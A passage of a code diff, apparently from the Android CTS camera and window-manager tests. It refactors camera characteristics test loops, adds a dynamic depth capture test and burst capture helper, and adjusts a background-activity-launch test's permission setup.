                 assertNotNull(String.format("Mandatory recommended ZSL configuration map not " +
-                        "found for: ID %s", mAllCameraIds[counter]), zslConfig);
-                verifyRecommendedZSLConfiguration(mAllCameraIds[counter], c, zslConfig);
+                        "found for: ID %s", mAllCameraIds[i]), zslConfig);
+                verifyRecommendedZSLConfiguration(mAllCameraIds[i], c, zslConfig);
             }
 
             if (lowLatencyConfig != null) {
-                verifyRecommendedLowLatencyConfiguration(mAllCameraIds[counter], c, lowLatencyConfig);
+                verifyRecommendedLowLatencyConfiguration(mAllCameraIds[i], c, lowLatencyConfig);
             }
-
-            counter++;
         }
     }
 
@@ -868,12 +869,12 @@
      * Test {@link CameraCharacteristics#getKeys}
      */
     public void testKeys() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
-            mCollector.setCameraId(mAllCameraIds[counter]);
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
+            mCollector.setCameraId(mAllCameraIds[i]);
 
             if (VERBOSE) {
-                Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[counter]);
+                Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[i]);
             }
 
             List<CameraCharacteristics.Key<?>> allKeys = c.getKeys();
@@ -998,7 +999,7 @@
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             if (config.isOutputSupportedFor(ImageFormat.RAW_SENSOR) ||
                     config.isOutputSupportedFor(ImageFormat.RAW10)  ||
                     config.isOutputSupportedFor(ImageFormat.RAW12)  ||
@@ -1029,8 +1030,6 @@
                 mCollector.expectLessOrEqual("Version too long: " + version, MAX_VERSION_LENGTH,
                         version.length());
             }
-
-            counter++;
         }
     }
 
@@ -1038,14 +1037,14 @@
      * Test values for static metadata used by the RAW capability.
      */
     public void testStaticRawCharacteristics() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     actualCapabilities);
             if (!arrayContains(actualCapabilities,
                     CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                Log.i(TAG, "RAW capability is not supported in camera " + counter++ +
+                Log.i(TAG, "RAW capability is not supported in camera " + mAllCameraIds[i] +
                         ". Skip the test.");
                 continue;
             }
@@ -1137,7 +1136,6 @@
             }
 
             // TODO: profileHueSatMap, and profileToneCurve aren't supported yet.
-            counter++;
         }
     }
 
@@ -1164,8 +1162,8 @@
      * Test values for static metadata used by the BURST capability.
      */
     public void testStaticBurstCharacteristics() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
 
@@ -1184,7 +1182,7 @@
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             Rect activeRect = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
             Size sensorSize = new Size(activeRect.width(), activeRect.height());
@@ -1205,7 +1203,7 @@
             }
 
             Size maxJpegSize = CameraTestUtils.getMaxSize(CameraTestUtils.getSupportedSizeForFormat(
-                    ImageFormat.JPEG, mAllCameraIds[counter], mCameraManager));
+                    ImageFormat.JPEG, mAllCameraIds[i], mCameraManager));
 
             boolean haveMaxYuv = maxYuvSize != null ?
                 (maxJpegSize.getWidth() <= maxYuvSize.getWidth() &&
@@ -1259,7 +1257,7 @@
             // it's not quite per-frame
 
             Integer maxSyncLatencyValue = c.get(CameraCharacteristics.SYNC_MAX_LATENCY);
-            assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[counter]),
+            assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[i]),
                     maxSyncLatencyValue);
 
             int maxSyncLatency = maxSyncLatencyValue;
@@ -1273,56 +1271,54 @@
                 assertTrue(
                         String.format("BURST-capable camera device %s does not have maximum YUV " +
                                 "size that is at least max JPEG size",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveMaxYuv);
                 assertTrue(
                         String.format("BURST-capable camera device %s max-resolution " +
                                 "YUV frame rate is too slow" +
                                 "(%d ns min frame duration reported, less than %d ns expected)",
-                                mAllCameraIds[counter], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
+                                mAllCameraIds[i], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
                         haveMaxYuvRate);
                 assertTrue(
                         String.format("BURST-capable camera device %s >= 8MP YUV output " +
                                 "frame rate is too slow" +
                                 "(%d ns min frame duration reported, less than %d ns expected)",
-                                mAllCameraIds[counter], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
+                                mAllCameraIds[i], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
                         haveFastYuvRate);
                 assertTrue(
                         String.format("BURST-capable camera device %s does not list an AE target " +
                                 " FPS range with min FPS >= %f, for full-AUTO bursts",
-                                mAllCameraIds[counter], minYuvFps),
+                                mAllCameraIds[i], minYuvFps),
                         haveFastAeTargetFps);
                 assertTrue(
                         String.format("BURST-capable camera device %s YUV sync latency is too long" +
                                 "(%d frames reported, [0, %d] frames expected)",
-                                mAllCameraIds[counter], maxSyncLatency, MAX_LATENCY_BOUND),
+                                mAllCameraIds[i], maxSyncLatency, MAX_LATENCY_BOUND),
                         haveFastSyncLatency);
                 assertTrue(
                         String.format("BURST-capable camera device %s max YUV size %s should be" +
                                 "close to active array size %s or cropped active array size %s",
-                                mAllCameraIds[counter], maxYuvSize.toString(), sensorSize.toString(),
+                                mAllCameraIds[i], maxYuvSize.toString(), sensorSize.toString(),
                                 maxYuvMatchSensorPair.second.toString()),
                         maxYuvMatchSensorPair.first.booleanValue());
                 assertTrue(
                         String.format("BURST-capable camera device %s does not support AE lock",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveAeLock);
                 assertTrue(
                         String.format("BURST-capable camera device %s does not support AWB lock",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveAwbLock);
             } else {
                 assertTrue("Must have null slow YUV size array when no BURST_CAPTURE capability!",
                         slowYuvSizes == null);
                 assertTrue(
                         String.format("Camera device %s has all the requirements for BURST" +
-                                " capability but does not report it!", mAllCameraIds[counter]),
+                                " capability but does not report it!", mAllCameraIds[i]),
                         !(haveMaxYuv && haveMaxYuvRate && haveFastYuvRate && haveFastAeTargetFps &&
                                 haveFastSyncLatency && maxYuvMatchSensorPair.first.booleanValue() &&
                                 haveAeLock && haveAwbLock));
             }
-
-            counter++;
         }
     }
 
@@ -1330,11 +1326,10 @@
      * Check reprocessing capabilities.
      */
     public void testReprocessingCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -1452,7 +1447,6 @@
                         "NOISE_REDUCTION_MODE_ZERO_SHUTTER_LAG is supported",
                         !supportZslNoiseReductionMode);
             }
-            counter++;
         }
     }
 
@@ -1460,11 +1454,10 @@
      * Check depth output capability
      */
     public void testDepthOutputCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -1651,7 +1644,6 @@
                             reportCalibration);
                 }
             }
-            counter++;
         }
     }
 
@@ -1737,13 +1729,13 @@
      * Cross-check StreamConfigurationMap output
      */
     public void testStreamConfigurationMap() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[counter]);
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[i]);
+            CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                            mAllCameraIds[counter]), config);
+                            mAllCameraIds[i]), config);
 
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
@@ -1799,12 +1791,12 @@
                 }
                 assertTrue("Supported format " + format + " has no sizes listed",
                         supportedSizes.size() > 0);
-                for (int i = 0; i < supportedSizes.size(); i++) {
-                    Size size = supportedSizes.get(i);
+                for (int j = 0; j < supportedSizes.size(); j++) {
+                    Size size = supportedSizes.get(j);
                     if (VERBOSE) {
                         Log.v(TAG,
                                 String.format("Testing camera %s, format %d, size %s",
-                                        mAllCameraIds[counter], format, size.toString()));
+                                        mAllCameraIds[i], format, size.toString()));
                     }
 
                     long stallDuration = config.getOutputStallDuration(format, size);
@@ -1817,14 +1809,14 @@
                         case ImageFormat.RAW_SENSOR:
                             final float TOLERANCE_FACTOR = 2.0f;
                             long prevDuration = 0;
-                            if (i > 0) {
+                            if (j > 0) {
                                 prevDuration = config.getOutputStallDuration(
-                                        format, supportedSizes.get(i - 1));
+                                        format, supportedSizes.get(j - 1));
                             }
                             long nextDuration = Long.MAX_VALUE;
-                            if (i < (supportedSizes.size() - 1)) {
+                            if (j < (supportedSizes.size() - 1)) {
                                 nextDuration = config.getOutputStallDuration(
-                                        format, supportedSizes.get(i + 1));
+                                        format, supportedSizes.get(j + 1));
                             }
                             long curStallDuration = config.getOutputStallDuration(format, size);
                             // Stall duration should be in a reasonable range: larger size should
@@ -1898,7 +1890,7 @@
                 Surface surf = new Surface(st);
 
                 Size[] opaqueSizes = CameraTestUtils.getSupportedSizeForClass(SurfaceTexture.class,
-                        mAllCameraIds[counter], mCameraManager);
+                        mAllCameraIds[i], mCameraManager);
                 assertTrue("Opaque format has no sizes listed",
                         opaqueSizes.length > 0);
                 for (Size size : opaqueSizes) {
@@ -1934,7 +1926,6 @@
                         config.isOutputSupportedFor(surf));
 
             }
-            counter++;
         } // mCharacteristics
     }
 
@@ -1943,8 +1934,8 @@
      * the StreamConfigurationMap.
      */
     public void testConstrainedHighSpeedCapability() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean supportHighSpeed = arrayContains(capabilities, CONSTRAINED_HIGH_SPEED);
@@ -1955,7 +1946,7 @@
                 List<Size> highSpeedSizes = Arrays.asList(config.getHighSpeedVideoSizes());
                 assertTrue("High speed sizes shouldn't be empty", highSpeedSizes.size() > 0);
                 Size[] allSizes = CameraTestUtils.getSupportedSizeForFormat(ImageFormat.PRIVATE,
-                        mAllCameraIds[counter], mCameraManager);
+                        mAllCameraIds[i], mCameraManager);
                 assertTrue("Normal size for PRIVATE format shouldn't be null or empty",
                         allSizes != null && allSizes.length > 0);
                 for (Size size: highSpeedSizes) {
@@ -1995,7 +1986,7 @@
                 // should be advertise by the camera.
                 for (int quality = CamcorderProfile.QUALITY_HIGH_SPEED_480P;
                         quality <= CamcorderProfile.QUALITY_HIGH_SPEED_2160P; quality++) {
-                    int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+                    int cameraId = Integer.valueOf(mAllCameraIds[i]);
                     if (CamcorderProfile.hasProfile(cameraId, quality)) {
                         CamcorderProfile profile = CamcorderProfile.get(cameraId, quality);
                         Size camcorderProfileSize =
@@ -2016,7 +2007,6 @@
                     }
                 }
             }
-            counter++;
         }
     }
 
@@ -2024,8 +2014,8 @@
      * Sanity check of optical black regions.
      */
     public void testOpticalBlackRegions() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             List<CaptureResult.Key<?>> resultKeys = c.getAvailableCaptureResultKeys();
             boolean hasDynamicBlackLevel =
                     resultKeys.contains(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
@@ -2058,7 +2048,7 @@
 
                 // Range check.
                 for (Rect region : regions) {
-                    mCollector.expectTrue("Camera " + mAllCameraIds[counter] + ": optical black region" +
+                    mCollector.expectTrue("Camera " + mAllCameraIds[i] + ": optical black region" +
                             " shouldn't be empty!", !region.isEmpty());
                     mCollector.expectGreaterOrEqual("Optical black region left", 0/*expected*/,
                             region.left/*actual*/);
@@ -2090,10 +2080,9 @@
                     }
                 }
             } else {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] + " doesn't support optical black regions,"
+                Log.i(TAG, "Camera " + mAllCameraIds[i] + " doesn't support optical black regions,"
                         + " skip the region test");
             }
-            counter++;
         }
     }
 
@@ -2101,10 +2090,8 @@
      * Check Logical camera capability
      */
     public void testLogicalCameraCharacteristics() throws Exception {
-        int counter = 0;
-        String[] publicIds = mCameraManager.getCameraIdList();
-
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean supportLogicalCamera = arrayContains(capabilities,
@@ -2126,8 +2113,8 @@
                     assertNotNull("Physical camera id shouldn't be null", physicalCameraId);
                     assertTrue(
                             String.format("Physical camera id %s shouldn't be the same as logical"
-                                    + " camera id %s", physicalCameraId, mAllCameraIds[counter]),
-                            physicalCameraId != mAllCameraIds[counter]);
+                                    + " camera id %s", physicalCameraId, mAllCameraIds[i]),
+                            physicalCameraId != mAllCameraIds[i]);
 
                     //validation for depth static metadata of physical cameras
                     CameraCharacteristics pc =
@@ -2160,17 +2147,16 @@
             if (!isExternalCamera) {
                 float[] focalLengths = c.get(
                         CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS);
-                for (int i = 0; i < focalLengths.length-1; i++) {
+                for (int j = 0; j < focalLengths.length-1; j++) {
                     mCollector.expectTrue("Camera's available focal lengths must be ascending!",
-                            focalLengths[i] < focalLengths[i+1]);
+                            focalLengths[j] < focalLengths[j+1]);
                 }
                 float[] apertures = c.get(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES);
-                for (int i = 0; i < apertures.length-1; i++) {
+                for (int j = 0; j < apertures.length-1; j++) {
                     mCollector.expectTrue("Camera's available apertures must be ascending!",
-                            apertures[i] < apertures[i+1]);
+                            apertures[j] < apertures[j+1]);
                 }
             }
-            counter++;
         }
     }
 
@@ -2178,11 +2164,10 @@
      * Check monochrome camera capability
      */
     public void testMonochromeCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -2375,8 +2360,8 @@
         }
         boolean isDevicePortrait = metrics.widthPixels < metrics.heightPixels;
 
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             // Camera size
             Size pixelArraySize = c.get(CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE);
             // Camera orientation
@@ -2384,7 +2369,6 @@
 
             // For square sensor, test is guaranteed to pass
             if (pixelArraySize.getWidth() == pixelArraySize.getHeight()) {
-                counter++;
                 continue;
             }
 
@@ -2399,9 +2383,8 @@
 
             boolean isCameraPortrait =
                     adjustedSensorSize.getWidth() < adjustedSensorSize.getHeight();
-            assertFalse("Camera " + mAllCameraIds[counter] + "'s long dimension must "
+            assertFalse("Camera " + mAllCameraIds[i] + "'s long dimension must "
                     + "align with screen's long dimension", isDevicePortrait^isCameraPortrait);
-            counter++;
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 750e715..37dfbdd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -191,6 +191,7 @@
                 Size previewSize= findCommonPreviewSize(id, dualPhysicalCameraIds);
                 if (previewSize == null) {
                     Log.i(TAG, "Camera " + id + ": No matching physical preview streams, skipping");
+                    continue;
                 }
 
                 testBasicPhysicalStreamingForCamera(
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b7510e6..d108600e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -65,7 +65,7 @@
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
     private static final int CONFIGURE_TIMEOUT = 5000; //ms
-    private static final int CAPTURE_TIMEOUT = 1000; //ms
+    private static final int CAPTURE_TIMEOUT = 1500; //ms
 
     // For testTriggerInteractions
     private static final int PREVIEW_WARMUP_FRAMES = 60;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index bd822f9..e8d2812 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -148,6 +148,39 @@
     }
 
     /**
+     * Test dynamic depth capture along with preview for each camera.
+     */
+    @Test
+    public void testDynamicDepthCapture() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIds[i]);
+                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+                if (!mAllStaticInfo.get(mCameraIds[i]).isDepthJpegSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support dynamic depth, skipping");
+                    continue;
+                }
+
+                openDevice(mCameraIds[i]);
+
+                // Check the maximum supported size.
+                List<Size> orderedDepthJpegSizes = CameraTestUtils.getSortedSizesForFormat(
+                        mCameraIds[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
+                Size maxDepthJpegSize = orderedDepthJpegSizes.get(0);
+                stillDynamicDepthTestByCamera(ImageFormat.DEPTH_JPEG, maxDepthJpegSize);
+            } finally {
+                closeDevice();
+                closeImageReader();
+            }
+        }
+    }
+
+    /**
      * Test normal still capture sequence.
      * <p>
      * Preview and jpeg output streams are configured. Max still capture
@@ -1295,6 +1328,45 @@
         }
     }
 
+    /**
+     * Issue a still capture and validate the dynamic depth output.
+     */
+    private void stillDynamicDepthTestByCamera(int format, Size stillSize) throws Exception {
+        assertTrue(format == ImageFormat.DEPTH_JPEG);
+
+        Size maxPreviewSz = mOrderedPreviewSizes.get(0);
+        if (VERBOSE) {
+            Log.v(TAG, "Testing dynamic depth with size " + stillSize.toString()
+                    + ", preview size " + maxPreviewSz);
+        }
+
+        // prepare capture and start preview.
+        CaptureRequest.Builder previewBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        CaptureRequest.Builder stillBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
+        prepareCaptureAndStartPreview(previewBuilder, stillBuilder, maxPreviewSz, stillSize,
+                ImageFormat.DEPTH_JPEG, resultListener, /*sessionListener*/null,
+                MAX_READER_IMAGES, imageListener);
+
+        // Capture a few dynamic depth images and check whether they are valid jpegs.
+        for (int i = 0; i < MAX_READER_IMAGES; i++) {
+            CaptureRequest request = stillBuilder.build();
+            mSession.capture(request, resultListener, mHandler);
+            CaptureResult stillResult =
+                resultListener.getCaptureResultForRequest(request, NUM_RESULTS_WAIT_TIMEOUT);
+            Image image = imageListener.getImage(CAPTURE_IMAGE_TIMEOUT_MS);
+            assertNotNull("Unable to acquire next image", image);
+            CameraTestUtils.validateImage(image, stillSize.getWidth(), stillSize.getHeight(),
+                    format, null /*filePath*/);
+
+            // Free image resources
+            image.close();
+        }
+    }
+
     private void aeCompensationTestByCamera() throws Exception {
         Range<Integer> compensationRange = mStaticInfo.getAeCompensationRangeChecked();
         // Skip the test if exposure compensation is not supported.
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 1f8b792..5a95d62 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -385,6 +385,31 @@
     }
 
     /**
+     * Submit a burst of the same capture request, then submit additional captures in order to
+     * ensure that the camera will be synchronized.
+     *
+     * <p>
+     * The additional capture count is determined by android.sync.maxLatency (or
+     * a fixed {@value #NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY}) captures if maxLatency is unknown).
+     * </p>
+     *
+     * <p>Returns the number of captures that were submitted (at least 1), which is useful
+     * with {@link #waitForNumResults}.</p>
+     *
+     * @param request capture request to forward to {@link CameraDevice#capture}
+     * @param listener request listener to forward to {@link CameraDevice#capture}
+     * @param handler handler to forward to {@link CameraDevice#capture}
+     *
+     * @return the number of captures that were submitted
+     *
+     * @throws CameraAccessException if capturing failed
+     */
+    protected int captureRequestsSynchronizedBurst(
+            CaptureRequest request, int count, CaptureCallback listener, Handler handler)
+                    throws CameraAccessException {
+        return captureRequestsSynchronizedImpl(request, count, listener, handler, true);
+    }
+    /**
      * Submit a capture once, then submit additional captures in order to ensure that
      * the camera will be synchronized.
      *
@@ -407,7 +432,7 @@
     protected int captureRequestsSynchronized(
             CaptureRequest request, CaptureCallback listener, Handler handler)
                     throws CameraAccessException {
-        return captureRequestsSynchronized(request, /*count*/1, listener, handler);
+        return captureRequestsSynchronizedImpl(request, /*count*/1, listener, handler, false);
     }
 
     /**
@@ -435,24 +460,7 @@
     protected int captureRequestsSynchronized(
             CaptureRequest request, int count, CaptureCallback listener, Handler handler)
                     throws CameraAccessException {
-        if (count < 1) {
-            throw new IllegalArgumentException("count must be positive");
-        }
-
-        int maxLatency = mStaticInfo.getSyncMaxLatency();
-        if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
-            maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
-        }
-
-        assertTrue("maxLatency is non-negative", maxLatency >= 0);
-
-        int numCaptures = maxLatency + count;
-
-        for (int i = 0; i < numCaptures; ++i) {
-            mSession.capture(request, listener, handler);
-        }
-
-        return numCaptures;
+        return captureRequestsSynchronizedImpl(request, count, listener, handler, false);
     }
 
     /**
@@ -878,4 +886,34 @@
     protected Range<Integer> getSuitableFpsRangeForDuration(String cameraId, long frameDuration) {
         return CameraTestUtils.getSuitableFpsRangeForDuration(cameraId, frameDuration, mStaticInfo);
     }
+
+    private int captureRequestsSynchronizedImpl(
+            CaptureRequest request, int count, CaptureCallback listener, Handler handler,
+            boolean isBurst) throws CameraAccessException {
+        if (count < 1) {
+            throw new IllegalArgumentException("count must be positive");
+        }
+
+        int maxLatency = mStaticInfo.getSyncMaxLatency();
+        if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
+            maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
+        }
+
+        assertTrue("maxLatency is non-negative", maxLatency >= 0);
+
+        int numCaptures = maxLatency + count;
+        ArrayList<CaptureRequest> burstCaptureRequests = new ArrayList<>();
+        for (int i = 0; i < numCaptures; ++i) {
+            if (isBurst) {
+                burstCaptureRequests.add(request);
+            } else {
+                mSession.capture(request, listener, handler);
+            }
+        }
+        if (isBurst) {
+            mSession.captureBurst(burstCaptureRequests, listener, handler);
+        }
+
+        return numCaptures;
+    }
 }
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 40d77f9..8069bdb 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2393,6 +2393,14 @@
     }
 
     /**
+     * Check if Depth Jpeg format is supported
+     */
+    public boolean isDepthJpegSupported() {
+        int[] formats = getAvailableFormats(StaticMetadata.StreamDirection.Output);
+        return CameraTestUtils.contains(formats, ImageFormat.DEPTH_JPEG);
+    }
+
+    /**
      * Check if the dynamic black level is supported.
      *
      * <p>
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index 9e98b64..eb156b6 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -18,6 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.server.wm.backgroundactivity.appa">
 
+    <!-- To enable the app to start activities from the background. -->
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
     <application android:testOnly="true">
         <receiver
             android:name=".StartBackgroundActivityReceiver"
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 0a51a0d..b1a559f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -16,6 +16,8 @@
 
 package android.server.wm;
 
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_ERRORED;
 import static android.server.wm.ActivityManagerState.STATE_INITIALIZING;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
@@ -58,9 +60,10 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.FlakyTest;
 
+import com.android.compatibility.common.util.AppOpsUtils;
+
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 
 import java.util.List;
@@ -77,6 +80,7 @@
 public class BackgroundActivityLaunchTest extends ActivityManagerTestBase {
 
     private static final int ACTIVITY_FOCUS_TIMEOUT_MS = 3000;
+    private static final String APP_A_PACKAGE_NAME = APP_A_FOREGROUND_ACTIVITY.getPackageName();
 
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
@@ -87,6 +91,11 @@
         mAm = mContext.getSystemService(ActivityManager.class);
         mAtm = mContext.getSystemService(ActivityTaskManager.class);
 
+        // disable SAW appopp for AppA (it's granted autonatically when installed in CTS)
+        AppOpsUtils.setOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window", MODE_ERRORED);
+        assertEquals(AppOpsUtils.getOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window"),
+                MODE_ERRORED);
+
         pressWakeupButton();
         pressUnlockButton();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
@@ -105,6 +114,7 @@
         stopTestPackage(TEST_PACKAGE_APP_A);
         stopTestPackage(TEST_PACKAGE_APP_B);
         pressHomeButton();
+        AppOpsUtils.reset(APP_A_PACKAGE_NAME);
